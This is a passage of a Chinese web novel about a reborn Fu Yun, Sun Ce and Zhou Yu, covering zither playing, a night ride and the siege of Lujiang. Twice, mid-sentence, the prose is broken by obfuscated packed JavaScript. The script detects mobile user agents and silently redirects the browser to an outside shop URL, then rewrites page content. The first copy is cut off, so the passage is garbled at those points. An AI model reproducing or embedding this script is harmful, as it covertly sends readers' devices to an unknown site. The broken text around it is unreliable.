他见她开窗,目光一下亮起来,但刚想说些什么,便看到面前人胸口起伏,下一瞬,几乎是赌气般地对着他喊了出来: “——谁要当你妹妹!” 孙策张了张嘴,话还没来得及说出口,伏韫已经“啪”地一声,用力关上了窗户。 夜风呼啸。孙策呆呆站着,像是被当头砸了一记闷棍,满脸茫然,愣了好一会儿,才喃喃道: “……不是……我这不是夸她嘛……怎么又生气了……” 7. 第七章 自那日后,伏韫便也在周家大宅住下了。 孙坚逝后,孙策归附袁术,自然在寿春落脚。而周瑜家境优渥,二世三公积淀,只为孙策行事方便,便一掷千金,在寿春这样的扬州州治之处购下二进二出的大宅。平日孙策在袁术军中操练,多未归家,而周瑜并非袁术编中,便在前院演武,与伏韫互不打扰。伏韫虽住进周瑜家中,但毕竟是女子,与二人同住多有不便之处,便择了东厢一处幽静院落。 这段时间,她闲来焚香抚琴,执笔阅牍,偶尔亦回味前世,拼凑时局残片,日子倒也过得静水流深,波澜不惊,仿佛并非乱世,而是三人作伴的世外之境。 目下秋意愈浓,庭中银杏叶影斑驳,光斑细碎。伏韫今日闲来无事,雅兴所致,便设琴于树下。这张琴并非伏韫所有,而是周瑜库中之物。伏韫暇时想抚琴消遣,却也不忍夺人所爱,便向周瑜要了个年岁久远的;周瑜虽爱琴,却也不愿空见爱琴束之高阁,便将自己如今最为心爱之琴借予伏韫,并意味深长地说:“既是知音,岂有藏拙之理?” 伏韫今日是第一次用这琴,小心翼翼将琴抬至庭中,稳了琴身,素手调弦,轻抚乐弦,几缕清音便潺潺而下,似山泉初融,流水汨汨。 此曲乃是《思玄操》,旷达舒畅,意境开阔,可今日抚弦,伏韫却莫名生出几分难以掩抑的怅惘,思绪已游离飞回到那段不堪追忆的往昔。 她与孙策成婚,先是吴侯夫人,后又执掌凤印,九重之上,万人之尊。但她知道,曾经某个春日午后,她的心,也曾为另一个人轻轻一跳。 那时她初出洞玄,十八九岁年纪,却未谙熟世事。琴技不过独学,技法生涩,常常出错。一次弹演《思玄操》的一段转音,手指一滑,琴音狰狞刺耳,令她面红耳赤。她重振旗鼓,方欲再来,身后传来一阵轻笑:“此处轮指,当如清风拂柳,轻柔无痕。” 周瑜白衣胜雪,缓步而来,眉眼不带丝毫讥讽之意,只在她身旁坐下,伸手于琴上演示。 这是她初次听他奏曲。彼时他已名满江左,顾曲周郎之名,连她亦有所耳闻。但她已不记得他的指法如何潇洒,只记得阳光下他的侧颜温和,辉光镀得他眉眼俊如冠玉,与澄澈之音,令少女心折。 伏韫回神,指尖不禁一顿。 周郎早逝,物换星移,此后种种,皆令她肝肠寸断。不是因为无法承受爱人的变心,而是不知为何曾经恣意挥洒的三人,最终的结局却一地鸡毛。重来一世,她不再是初出洞玄派时那个不谙世事的懵懂少女,而是一世风霜洗净、身负家恨国仇的女人,可所有一切,却一夜之间回归原点,令她不禁一时恍惚非常。 “铮——” 她心神未稳,又在一个并不复杂的勾弦处突兀一错。整首曲子的意境蓦然脱缰。 她怔然,正欲重来,身后又响起那个熟悉的声音。 “‘挑’后当接‘勾’,而非‘抹’。昭晦姑娘,可是心乱了?” 周瑜不知何时已立于她身后,但并未察觉她眼底一闪即逝的愣怔,在她身侧坐下,一如昨日重现: “此曲重在心境合一,昭晦姑娘可否再弹一遍?” 这一次,他没有亲自示范,只是静静坐着,等她重整神识。 伏韫深吸一口气,再度抚弦。琴声初起,轻盈如史册翻动;中段渐转低沉,似千古兴亡、转瞬皆空;至末声,只余风过城阙,长空孤雁,幽寂辽阔。 一曲既毕,清越之音绕梁久久,回荡不绝。 周瑜凝神听完,沉默片刻: “昭晦姑娘的琴艺已臻妙境,绝非初学可比。方才一误,想来只是心有所扰。” 他语下分明夸赞,却忽然锋芒一转: “只是瑜听这琴声,似藏了些……不该属于少女的愁绪。这一曲本应旷达洒脱,姑娘却弹出了沧桑遍历,苦心凭吊的意味。不知是我听错了,还是姑娘……心有所系?” 来了。 她知道,他又起了疑心。这次的试探更加直接,也更加棘手,且此时只有他们二人在此,若不好好应对,只怕真要叫他探出究竟。 思忖至此,伏韫旋即垂眸,语气带着几分故作老成的淡然: “难道所谓少女愁绪,就只能是小女儿姿态,伤春悲秋,多愁善感?韫近日闲来读史,阅毕周朝一段,感慨颇多。想来八百年国祚,风云变幻,多少英雄人物,最终皆成一抔过眼烟尘,不禁感怀难平……倒叫公子见笑了。” 周瑜微微一笑,神色温和,眼神却直直探来,像要穿透她笑意的帷幕,从灵魂深处捞出真相: “哦?昭晦姑娘的感怀确实深远入里。但瑜不知,姑娘究竟是为八百年王朝的兴亡而动情,还是——借古人酒杯,浇自家块垒?” 伏韫不觉一震,险些要露了破绽,慌忙垂下眼帘,笑得更天真几分: “呵……公子真会调笑。昭晦年方十五,能有何翻江倒海的心事?只不过心思纤细,喜怒哀乐皆有所感怀。何况公子如今亦是年少意气,莫非当年读《史记》,便不曾为荆轲赴死、易水诀别而热泪盈眶?” 周瑜静静看着她良久,仿佛在思量,又仿佛在无声叹息。 “姑娘说的是。是瑜唐突了。” 伏韫轻轻一笑,却知道这番话避实就虚,根本无法在他面前蒙混过关。他若是有心追究,迟早招架不住。 *** 周瑜离去后,伏韫独坐树下,良久未动。 耳边仿佛仍回荡着那句温润中藏锋的低语,如审判般不容闪躲: “……还是借古人酒杯,浇自家块垒?” 他是不是,已经察觉到了什么? 这念头如无声雷霆,令她顿觉胸间憋闷,心绪如乱丝,一时烦躁,起身步出门外,欲借庭外长风将杂乱从生的念头尽数吹散。 但方才步出庭门几步,身后便传来风风火火的脚步声,紧接着,是那个烈日般明朗的声音。 “伏妹妹!我找你半天,原来躲这儿偷懒?” 孙策毫无预兆地闯入,如骤起的旋风,直直闯入她面前。 “走,带你看个好东西!” “我……”她话未出口,手腕已被他一把扣住。 他的掌心灼热,带着不容拒绝的强硬气息。 她还未来得及抗议,下一刻,整个人已被他用一种近乎劫掠的姿态,捞上了战马。 “喂!你做什么!我还没答应呢!” 伏韫在马上挣扎,却被他从身后一拥。他手执缰绳,语息喷在她耳畔: “兜风!” 他双腿一夹马腹。战马长嘶一声,似离弦之箭直冲出去。伏韫身形一晃,尚未尖叫出口,孙策便摁住她肩头: “坐稳了!” 风声猎猎,伏韫被迫紧贴着他。太阳晒热的皮肤气息、未散尽的少年汗潮、贴身衣物间的当归甘草之香,三者交织成一股专属于他的温度,熟悉得让人几乎想落泪。 她不知道孙策要带她去哪里,她只知道,这个男人像一团无法被熄灭的火,正用他那不讲道理的霸道,将她方才被周瑜拨开的情绪,彻底烧得干干净净。 他未入军营,亦未奔闹市,而是一路策马直驱郊外,直到一处极高的山坡,方才勒缰止步。 眼前寿春万家灯火,在余晖未尽的天际,仿佛星汉倾覆,沉落人间。 孙策先下马,长臂一揽,竟用一种极其轻柔的力道,将她从马上稳稳地抱了下来。 落地的那一刻,伏韫一路的胆战心惊倾斜一地,皱眉数落道: “我可没说要来,你平时在军中也是这么霸道的?” 孙策瘪了瘪嘴,仿佛有些委屈地看着她: “我只想着伏妹妹这几日闭门不出,担心你还闷在那日的情绪里。瑜弟我已经帮你说他了,他说以后绝对再也不在你面前弹《双泉会》了。” 伏韫闻言,几乎是本能地要给他一拳: “谁让你自作主张了。我就爱听那曲子,不要你管!” 被伏韫当肩捶了一拳,孙策不怒反笑,看着她气势汹汹如烈马不羁的模样,不由得朗笑一声: “你这样就是没事了!太好了,我还以为你悲痛欲绝,才想着一定要带你来看看这里。” 他向前几步,又面朝伏韫,张开双臂,如邀功般,语气里带着几分得意: “怎么样?这地方不错吧?我私藏的。” 伏韫兀自坐在草地上,似乎 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“我怕的,是自己并不如想象中的强大。细想来我有今日,与自己可曾有分毫相关?我的根基,是父亲的长沙旧部;我的歇脚之处,是瑜弟出资;连袁公路曾经许诺的九江,都成了他人囊中之物。我想让整片土地,整个天下,都只记住我的名字,可我现在只能望江兴叹。昭晦妹妹,你说,我是不是很没用?” 风吹乱他鬓边碎发,月光照亮他眉眼,他的眼底,竟罕见流露出一道少年伤痛的深辙。 伏韫心头一颤,目光落在那张被夜色勾勒得凌厉却柔和的脸上,只轻声示慰道: “不,兄长。若你无用,又岂能驱策我与周公子伴随左右?你没有错,你只是还没等到那个,让你利剑出鞘的时机罢了。” 她目光微沉,仿佛越过城池堡垒,飘向一个飘渺不知所踪的终点: “终有一日,你会尽情挥洒你的才华,四方归附。你在袁术帐下憋屈多久,征战收复之势便有多迅疾。我说过,来日你脱离袁术,便如猛虎归林,整个江东,都会是你的乐园。” 孙策侧首,看着她在风中娴静的侧颜,忽然轻笑一声,恢复了往日的豪气干云: “昭晦妹妹的话,一向很准。借你吉言,来日若我果真打下江东,便也为你讨个封地。——不对,你应该不需要我讨。但我身为兄长,聊表心意,也是应当的。” 他傻傻一笑,她却怔了神,恍惚间,看到了那个在第一世,她也如此深爱过的少年。 那时他尚未成龙,她亦非恶凤。他会牵着她的手,指着舆图,笑得张扬,说要为她打下最盛大的天下。 “我已经把你当家人了。至于怎么叫,你喜欢就好。我们说过的,将来我会用整个江东换你一个人情。我孙策一言既出,驷马难追。” 他眼睛晶亮,直直看着她,眼底澄澈的真心满溢。那一刻,伏韫的心,被某种不可言说的情绪狠狠撞了一下。 成龙,成凤。 这一世,只要他还没有成为那九五之尊……他们之间,是否就还有—— 这个危险的念头,如毒藤般,在她心底悄然疯长。 “你头发上有东西。” 孙策忽然凑近,目光灼灼,抬手轻轻擦过她鬓角。 随即一只萤火虫从他指尖飞起,微光点点,融入夜色深处。 那一瞬,伏韫的呼吸陡然一滞。 第一世,亦是这般山坡,亦是如此夜色。她枕着他的膝头,他为她拨开鬓侧缠绕的草叶,俯身吻住了她,然后…… “你……你怎么脸红了?” 今生,眼前斯人却是直白莽撞的少年,满脸认真地盯着她,仿佛在打量一个谜题。 伏韫被猛然拽回现实,几乎是反射般别过头,耳根飞红,心跳如擂鼓: “没、没有!是你看错了。” 孙策静静看着她微颤的睫毛,游移不定的眼神,以及那抹瞬间浮起的羞赧红晕—— 他的心中也第一次,涌起了一点奇怪的悸动。 他告诉自己,这个人是自己的妹妹,是最好的战友。 但他也分明知道,他们之间,没有半分血缘关系。 他忽然觉得,眼前这个姑娘,似乎…… 有点,可爱。 8. 第八章 一只雪羽信鸽逆风自北而来,落在伏韫窗棂之上。信中熟悉而清隽的笔迹赫然入目,正是父亲伏完的回信。 信中先言她独身在外,语带担忧,慈父柔情跃然纸上;继而笔锋陡转,对她所析天下之势与自保之策深表嘉许与信任,末尾郑重承诺: “无论时局如何颠沛流离,伏氏一族,必誓死坚守汉室,静候时变。” 那一行“坚守汉室”,如星火点亮心湖。伏韫凝视良久,胸中久积的压抑终于略得松缓。 这是她逆转家门命数的第一步,亦是最关键的一步。 只要父亲不再重蹈前世覆辙,舍汉室而投曹操,伏家便有一线生机可图。 她深吸一口气,将绢帛凑至灯前。焚声细微,青烟缭绕,袅袅于晨曦之中。 伏韫正沉思间,前堂忽地传来孙策洪亮的嗓音,带着抑制不住的雀跃,穿廊越柱,由远及近—— “昭晦妹妹!瑜弟!快出来!” 只见孙策大步流星而入,衣袍猎猎,神色间兴奋如春雷乍响,几欲喷薄而出。 “机会来了!” 他语气爽朗,眸中光芒毕现。 “袁术要攻徐州陶谦,命人向陆康索三万斛军粮。那老东西骨头果然硬,非但不允,竟当场呵斥来使,把人骂得灰头土脸!袁术恼羞成怒,转头就把这差事甩给我,让我带兵攻庐江!” 周瑜闻言轻蹙眉峰,沉声道:“我们此前推演过,陆康并非易与之辈。且我出身舒城,深知他素得民望。其城池防守坚固,攻之恐非一朝一夕。” “难打才好!”孙策一拳砸在掌心,目光炽烈如炬,“袁术虽许我若此战能胜,庐江郡归我所有,但我知他最会反口覆舌。如非昭晦妹妹早早提醒,我也不会晓得这场仗不论成败得失,皆须全力以赴!” 周瑜闻言轻笑,向伏韫颔首:“昭晦姑娘洞察先机。时不我待,我这便去整兵点将。” 孙策却抬手拦下,唇角浮现狡黠笑意:“不急,瑜弟,我等兵力尚薄,替袁术出力,怎可不趁机讨回我父旧部?程普、黄盖、韩当几位叔父,如今仍在他麾下。此战之后,便是我孙策起势之时!” 伏韫听罢,眼底泛起一抹欣赏之色:“孺子可教也。” 知势者为俊杰,善谋者为真龙。孙策这头猛虎,终于要亮出自己的爪牙了。 孙策被这句话夸得眼角都要飞上天,正欲再抛几句豪语,伏韫却已起身拂袖,语气淡然: “去收拾行囊,我也随你们一同前往。” “不成!”孙策下意识拒绝,眉头紧蹙,语气焦急,“战场杀伐,生死一线,你一个姑娘家,怎可轻涉险地?万一你出了事……” 伏韫神色未动,只淡淡斜睨他一眼:“你忘了我为何寄居于此?” 孙策一愣,才忆起她曾提及“遭仇家追杀”之事,当即怒火中烧: “险些忘了此事!是谁敢动你?看我不剁了他!——昭晦妹妹你放心,攻陆康我正缺人祭旗!” 伏韫忍俊不禁,与周瑜对视一眼,皆露出一抹无奈之色。 周瑜见状,适时开口:“兄长,倘若此‘仇家’并非常人,而是……行踪无迹,手段诡秘,胜于昭晦姑娘百人之力,你又作何打算?” 见孙策神色愈发茫然,伏韫只好将此前向周瑜所述的“洞玄派”再度娓娓道来。山中秘术、千门万象,如云卷云舒,直听得孙策两眼发直。 “昭晦妹妹,我早就说你神机妙算,原来是背后真有高人坐镇!——但这高人,也忒高了点吧……” “你知道就好!”伏韫睨了他一眼,似嗔似笑,“我这条命如今都押在你们这儿了。庐江一战,荣辱与共,须得全力以赴。” “好!”孙策拍胸作保,“昭晦妹妹不弃,我孙策焉敢辜负?” 周瑜却一拂衣袖,话锋却转:“眼下还有一事——昭晦姑娘随军,须有名目。要如何安置,方能不惹猜疑?” 孙策甩手便道:“这有何难?说是我通房丫头不就成了。” 周瑜险些呛茶,连忙取帕拭唇:“兄长,此言不妥。哪家大将出征是带着通房丫头的?” 孙策嗤地一声,不屑冷笑:“那你这个小孔夫子倒说一个更妥的来。” 周瑜一看孙策这德性,知他又犯犟,只得缓声劝解:“昭晦姑娘尚未婚配,如此说法有损名节。依我看,不如权作我家侍女,斟茶倒水,便于出入军帐,亦可行令方便。” 孙策指尖敲案,不以为然:“放屁!你的侍女天天在府里进进出出,早就被袁术的亲兵看光了脸。我的通房丫头养在阁中,谁见过?” 他说罢便挺直身子,如胜券在握,不容置喙:“我就不信,军中哪个大将出征,没带个贴己丫鬟?” 周瑜叹了口气,目光移向伏韫。 “昭晦姑娘,你选一个吧。” 伏韫望着两人这架势,仿佛稚童争抢玩具,忍不住扶额一叹: “我说……你们就说我是请来的相师,有这么难吗?” 孙策微微一愣,旋即摇头道:“不难是不错,怕就怕——有人反对。” 他二人相视一眼,异口同声道出那人名:“程普。” 伏韫一怔。前世孙策渡江之后,她在周瑜的帮助下隐匿行迹,待军功卓著,方得以显名,虽在后来公开身份时为诸将为难,却也并不持久。 她只知程普与周瑜素来不睦,未料对她恐也毫不留情。 她不解道:“程公素以好善交友著称,怎会——” 孙策一摊手:“昭晦妹妹,连瑜弟这等通情达理的人他都颇有微词,更何况你这来历不明的女子。” 他话锋一转,竟像早有准备: “所以我说,还是通房丫头这个借口最稳当。程公瞧见了,连问都不敢问。” 他见伏韫缄默,语气一顿,神色忽生顽意,学着伏韫的语气: “不信?不信我们现在就来演练一次。我来扮程公,你还是你。瑜弟,你继续当那不讲情面的‘局势’!” 伏韫看他那副跃跃欲试的模样,知他还耿耿于怀上次推演,心下好笑,却也想看看这葫芦里到底卖的什么药,便颔首应下: “好啊,我倒要看看,程公究竟有多难缠。” “咳咳!”孙策清了清嗓子,下一瞬,脸上那点少年气竟倏然收敛几分,腰背微佝,眼神变得浑浊,转眼便化作一副军中老将的模样,捋着并不存在的胡须,斜睨伏韫,神情审慎,慢悠悠开口。 “这位姑娘面生得很呐。不知是哪家女眷,怎会出现在我部军中?” 伏韫从容一揖,神色自若,胸有成竹地祭出早备好的说辞: “程公有礼。小女子乃一介方士,得孙将军与周公子赏识,特请来为大军卜算吉凶。” 孙策眉头一皱,忽将手中茶盏重重一顿,声震几案,倒叫伏韫惊了一跳。 “胡闹!军国大事,岂能寄望于一妇道之口、鬼神之说?!我军帐中,皆是铁血男儿,何曾需要一个黄毛女娃来指点江山!” 周瑜适时接口,语调平静如水: “报——程将军言之有理。军中将士纷纷议论,皆以为孙将军沉迷女色,玩物丧志。” 伏韫眉心轻蹙,神情却依旧冷静从容: “程公此言差矣。兵法云: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孙策听得这话,整个人更飘飘然,正要伸手拍她肩膀,却被周瑜一个眼神拦住。 他只得悻悻收手,干咳一声,用一种总结陈词的语气宣布: “所以说嘛,对付程公那种老顽固,就得用不讲理的法子。只要让他觉得这事是我孙策的私事,他心里再不畅快,嘴上也别想说个‘不’字。” 伏韫看着他得意张扬的神情,终于忍不住轻轻一笑,为孙策与周瑜斟满茶盏,眼中第一次带上了一抹不加掩饰的服软。 “兄长,你赢了。” 孙策猛地一怔,那股得意洋洋的气势,仿佛被这突如其来的投降当头一浇,立时熄了三分。 “……你,你刚才,说什么?” 伏韫轻叹一声: “程公之固,远出我之所料。若无兄长今朝这番预演,我只怕……真的会死于非命。” 孙策的心像是被什么柔软的东西轻轻地挠了一下,所有的炫耀与得意,在她这一句服软面前顷刻间卸了甲胄,融成一种说不清、道不明的怜惜。 他像是要掩饰什么,故作镇定地坐回原位,耳根却不争气地泛起一抹不甚明显的红意: “……那你说,我们现在该怎么办?” 伏韫望着他那副外厉内荏的模样,忍俊不禁: “很简单。程公不信卜算,不信女子,但他信一样东西——你父亲孙坚的‘鬼魂’。” 9. 第九章 兴平元年,冬。 初冬时三人收到攻打陆康的战报,迄今已逾三月。 辚辚马车行驶在舒城驿道,一层层积雪将昂扬的战意冲刷殆尽。直到“袁”字大旗终于映入眼帘,才发现旗上颜色已经有些许褪去。 孙策与周瑜在亲兵护送下踏入大营,令人窒息的氛围便缠绕而上,下一瞬,三张写满疲惫与焦躁的面孔便迎了上来。 “少主!” 程普、黄盖、韩当三位老将,在见到孙策的那一刻,齐齐单膝跪地,铠甲戎装的金属发出铿锵,仿佛终于找到呼吸。 孙策微愣。他看着面前三位老将的眼神,疲惫的眼眸中方燃起火光,但他已是五味杂陈。 他不是没想过重逢的场景,却不曾料到,这些昔日英姿勃发、战意昂扬的宿将,如今眉眼里竟多了这许多风霜。 父亲若在,还会是这幅光景吗? 他胸中一涌,千言万语,一时无言。 *** 中军大帐内,三位老将已报告完作战情况。 程普声音沙哑,指着舆图上两处未破的城池,语气沉重: “自奉命出征以来三月,我们连下寻阳、居巢、安丰等属县。但舒城背靠山脉,南有江水屏障,皖城又士族林立,民心不归。加之陆季宁坚壁清野,不管我们如何叫阵挑衅,都按兵不动。” 黄盖接过话头: “我军粮草本就吃紧,如今又值寒冬,消耗倍增。若非少主带着这批辎重赶到,再拖上半个月,我们就要不战自溃了。” 韩当亦叹息道:“陆康此人深得民心,我军久围舒城不下,反倒激起军民同仇敌忾之心,更是棘手。” 孙策静静听着,眉头越拧越紧,目光扫过三位宿将,与记忆中相比,他们的锋芒因岁月的钝化而更加苍老,百感交集之间,胸中那股熟悉的燥意,蓦然如野火燎原,悄然攀升。 他深吸一口气,试图抑制,但浑身燥意难当,下一瞬,便难以自抑地一拳砸在案几上,震得墨碟一颤。 “老匹夫!” 不是骂他们,而是骂那个坐镇后方、推他上前,却不肯拨粮,要看长沙旧部与庐江守军互相消耗的袁术。 周瑜上前,默默移开墨碟,又将因颤动而微微滑动的舆图扶正。 “兄长,案几无辜。” 帐中寂静,众人皆屏息,唯有烛火轻颤。 终是黄盖先忍不住: “如今少主来了,老夫也打开天窗说亮话。倘无民心之忧,老夫早一把火把这破城烧成灰烬了!” 韩当呛声:“你当咱们是打流寇?城中百姓怎么办?一把火下去,长沙旧部的脸还要不要了?” “那你说,如何破城!这老贼缩壳不出,你又有什么法子让他出洞?”黄盖面色发红,咬牙切齿。 程普冷哼一声:“这是问题吗?我们也打过舒、皖,军队方才出发,敌军便闻风而动。我看军中必有奸细!” 帐内气氛登时紧绷。周瑜蹙眉拱手道:“程公慎言。军令信使传调皆三重稽核,若真有细作,此局不会拖到今日。” 黄盖重重拍案:“说到底还是兵力不济!若是有五千精锐,何惧城中那些苟延残喘!” 程普眉毛一挑,冷笑道:“那就得问袁公路舍不舍得拨了。” 你一言,我一语,针锋相对,火气渐起。 孙策一直沉着面色旁观,此时终于按捺不住,霍然起身,长袍翻起一阵疾风: “够了!” 三人一愣,皆噤声。 孙策抬手按额,一字一句,从牙缝里挤出:“我……有些头疼。三位伯父若无良策,便请暂且退下,让我清一清头绪。” 三人相视,虽仍有不甘,但也知再争无益,便拱手告退。 孙策揉着太阳穴,将因风雪灌入而轻翻的舆图一角按下: “去,快去叫昭晦妹妹来。” 周瑜起身:“我亲自去。” *** 夜深,营帐外篝火簇簇,焰火微摇。 周瑜抵达伏韫所居营帐时,先是敛衣止步,在外轻唤一声:“昭晦姑娘,兄长唤你议事。” 帘后轻响一声,随即侍女出帐应道:“姑娘刚洗漱完,正更衣呢。劳公子稍后。” 周瑜颔首,在帐外静立。 伏韫的帐幕并非军用厚布,而是临时为女眷所设的轻软内帐。他便低头望着脚下积雪,良久,才听到侍女掀帘而出: “姑娘梳妆完了,想请公子进帐,问询午后中军帐中情形。” 周瑜略一点头,拂袖入内。 帐中梳妆处,一阵急促的动作打破静谧。 “你这丫头怎么回事?这衣服明明是内衬,怎么能拿来当外袍?快,帮我换下。” 伏韫急促的语气话音未落,周瑜已迈入帐内,淡淡唤道:“昭晦姑娘。” 伏韫动作一顿,如被定在原地。 她半跪榻前,发丝因手忙脚乱而缭乱。那件原应作内搭的月白长衫,因错当了外衣,显得格外贴身。 空气仿佛一瞬间凝结。 周瑜脚步一顿,旋即转身,伏韫的声音已经从他身后传来,语带凛冽: “……周郎,应该说巧呢,还是不巧呢?” 他背对她,眉眼如常,语气并无申辩之意,反而带上三分不甚察觉的揶揄:“我在外头等了小半盏茶,是你唤我进来的。” 伏韫垂眸,系上最后一颗扣子,走至他身边,挑眉看他,火药味甚浓,弥漫在空气中,一触即发: “周郎果然是江东君子。进女眷之帐,盯女眷之襟,还能不急不怒,不动不退。” 周瑜终于低头望了她一眼,眼神极浅极静,如池中沉月: “君子,莫不如是?” *** 几刻钟后,伏韫步入中军大帐时,周瑜已负手立于孙策身侧。见她来了,便止了议论,洗耳恭听。 她缓步上前,看向孙策:“我听周公子说,皖城三战,皆在临界之刻,被敌军精准堵截?” 孙策目光灼灼盯着图上那道未曾撕裂的防线: “正是。听三位叔伯说,我军三次试图从侧翼破阵,皆无功而返。敌军每次都仿佛提前预知动向,我们所有的试探、佯攻、兵力调动,仿佛都被提前看穿。” 伏韫缓缓抬眼,目光凌厉地扫过孙策与周瑜: “陆康的防守,的确太过完美了,所以我们若想取胜,便不能攻‘城’,而是攻‘心’。” 孙策一怔,眉峰蹙起:“攻心?怎么攻?派人去骂他个三天三夜行不行?” 伏韫被这插科打诨逗得差点破了功:“当然不是。不过也差不多,我们要演一出戏。” 孙策疑惑未解:“可我们哪有人手?难不成要叫自家兄弟去装流民?” 伏韫的眼神缓缓落在他身上: “自然不是。我们的演员,是那些被袁术扣押在寿春的三位伯父的宗族,还有舒城内二位兄长的家眷。” 孙策眼神骤亮,但旋即发问:“若是能安顿家眷,可算解了我们后顾之忧,军心必定。可……那是我们的人,他陆康凭什么要给我们开门?” 周瑜亦颔首:“正是。即使是老弱妇孺,但也是敌军家眷。城中众人,也断无让陆康开门的道理。” 伏韫见气氛热烈,水到渠成,便把阳谋推到众人眼前,开局布子,招招杀意频现: “既然陆康深得民心,我们便利用这民心。带上家眷,只是为了让天下人都信,兄长不堪忍受袁术的狼子野心,更不忍叔伯家眷被其当作人质,于是愤然举兵,决裂出逃,九死一生,才救出这批忠良之后。如今走投无路,只能投奔天下闻名的汉室柱石——庐江太守陆康。” 她抬眼一笑,锋芒逼人: “摆在陆康面前的只有两个选择:若接纳兄长,便能即刻拥得强援,共抗袁术,名利双收;若拒绝,便等于亲手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040254|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把一支潜在盟军推入绝境。所以,他要么冒险开门,则我们便可安置家眷,安心迎敌;要么背负‘道貌岸然、口是心非’的骂名,届时我们进攻舒城,亦有名正言顺的借口。” 此言一出,帐内一片死寂。烛火轻颤,仿佛也被她这计中冷意所震。 周瑜与孙策对视一眼,彼此眼中都迸出一点灼亮之色。 周瑜淡笑浮唇,已经了然: “陆康既以仁德忠良著名,若不开门,则失仁义之名,坐实道貌岸然;若是开门,则坠入计中。只是我以为,若以城门为赌注,风险太甚,舒城郡治之地,陆康持重,难免权衡三分。倘若他迟疑日久,对我们亦不利。” 伏韫颔首:“周公子所言极是。故而下一步,便是找一个更轻的、但能打开战局的赌注。” 孙策闻言,已经看到战局逐渐勾勒成型,喜不自胜。刚欲放声而笑,忽然想起夜深人静,只得硬生生憋回喉咙: “咳咳,此计太妙,一时没忍住。” 周瑜不动声色,眼神却悄悄侧过,落在伏韫脸上。明明平淡无波的眼神,但不知怎的,伏韫一眼就看懂了他眼中揶揄未散的涟漪。 她悄悄瞪了他一眼,他却若无其事地移开目光,仿佛方才的眼神从未存在。 就在三人暗自沸腾之际,伏韫耳尖一竖,神情忽变,抬手做了个“噤声”的手势。 另外二人心照不宣,立刻收声。 三人一同走出中军大帐,一道魁伟如铁塔的身影已悄然立于帐前的阴影之中。 程普既未言语,也未动作,只用一双沉沉如井的眼睛,死死地盯着他们: “深更半夜,孤男寡女,共处一帐……不知少主与周郎,这是在商议何等军国大事?这位,又是谁家女眷?” 孙策脑子一“嗡”,本能想脱口而出“我们在商议战事”,但目光一瞥,却看见伏韫立于月下,那张舒展如百合的面孔,在夜色中柔得像要滴水,一股说不上来的少年冲动,已经在胸口轰然炸开。 “我家的!我带来的通房丫鬟!有问题吗!” 一瞬之间,天静地默。 伏韫缓缓抬起头,转头看他,维持着礼数端庄的微笑。 但孙策知道,他完了。 周瑜在旁,终于伸出了那只不存在的第三只手,默默地扶住了自己的额角,在心底发出一声翻江倒海的叹息。 程普当然不信,但他一时也找不到发作的突破口,只能将目光缓缓转向另一个他历来看不顺眼的人。 “周郎,”他沉声道,“那你,又为何在此?” 周瑜微顿,刚想出一个绝佳的理由,但孙策的眼神宛如刀锋架于脖颈,于是,他在电光火石之间硬生生改口,挤出一个连他自己都想扇自己的借口: “啊……哈哈,程公误会了。我看今夜月色正好,便邀兄长出来……赏月。” 一阵鸦群不合时宜地从林间腾起,像为这蹩脚的谎言喝上倒彩。 程普面无表情,冷哼一声,不多言语,只抱着佩刀,头也不回地走进夜色深处。 三人一时无言。 孙策第一个崩溃,发出一声痛心疾首的哀嚎:“完了!我的名声全毁了!” 周瑜幽幽开口,语气仿佛被霜打了的残菊:“别说了……我的名声,也毁了。” 伏韫站在他们身后,看二人一个像斗败公鸡、一个像病中鹌鹑,终于忍不住问出那句最致命的问题: “程公那个‘哼’是什么意思?” 两人异口同声:“小孩子不该知道的别知道。” “哦……”伏韫若有所思地点点头,下一瞬,唇角微翘,露出一个了然于胸的笑容,“怕别人说你们二人‘龙阳之好’,是不是?” “啊啊啊啊啊闭嘴啊!!!” “啊啊啊啊啊啊啊啊——!!” 那一夜,舒城郊外的大营中,响起了两声堪称江东双璧一生最羞耻的惨叫,比战鼓还响。 10. 第十章 清晨寒意未散,伏韫洗漱已毕,独坐于帐边小亭,素手捧卷,遗世独立。 忽有风声掠起,孙策提着食盒大步迈入,如疾风扫雪,气势汹汹。 他一边走,一边强作镇定地“咳”了一声,试图为昨日的唐突找一个体面的开场。 “喏。”他将食盒往案上一放,动静大得仿佛要提枪上阵,“昨日军中猎了鹿,我让厨房熬了汤。更深露重的,趁热喝了吧。” 伏韫抬头见他满身雾气,眉眼间藏不住心虚,带着几分小心翼翼的讨好,不由得唇角一动,却依旧板着面孔:“多谢兄长好意。” 孙策见她虽眉目紧绷,却并未推拒,亦未提昨夜之事,登时胆大了几分,便顺势坐下,语气反多了几分理直气壮: “昨夜情急之下口不择言是我不对,可你说,我们那日没商量出个所以然,被程德谋抓了现行,可不是只能用那个蹩脚理由嘛。那帮老顽固若是咬死你是‘妖女’,我就算是捅破天也护你不住!” 伏韫低头舀了碗汤,淡淡瞥他一眼,却仿佛飞过一个眼刀: “你身为主帅,也该想过,若是主帅携了家眷入营,军纪何在?虽说此言你只对程公说过,但我毕竟人在军中,若是不能早日给众将士一个交待,便难以服众。你说我是你的‘通房’,我看与捅破天无异,只是名目不同罢了。” 孙策闻言,心下一紧,垂眸嗫嚅: “我以为昭晦妹妹昨日已有计策,想来并非难事,只需将家眷接过来,便万事大吉,所以并未多虑……” 伏韫掏出帕子,轻轻拭了拭唇角: “无妨,如今战事要紧,兄长此番若是大捷,便算是功过相抵了。” 